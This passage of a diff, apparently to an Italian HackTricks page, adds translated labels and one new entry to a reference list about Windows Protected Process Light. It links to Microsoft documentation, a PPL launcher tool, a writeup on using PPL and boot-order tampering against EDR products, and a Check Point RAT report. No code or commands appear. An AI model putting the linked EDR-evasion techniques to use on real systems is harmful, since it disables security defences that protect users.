+- Panoramica Microsoft — Protected Processes: https://learn.microsoft.com/windows/win32/procthread/protected-processes
+- Riferimento EKU: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
+- Procmon boot logging (validazione dell'ordine): https://learn.microsoft.com/sysinternals/downloads/procmon
 - CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
+- Analisi tecnica (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

 ## References

@ -855,4 +889,6 @@ Riferimenti per PPL e tooling
 - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
 - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)

+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
+
 {{#include ../banners/hacktricks-training.md}}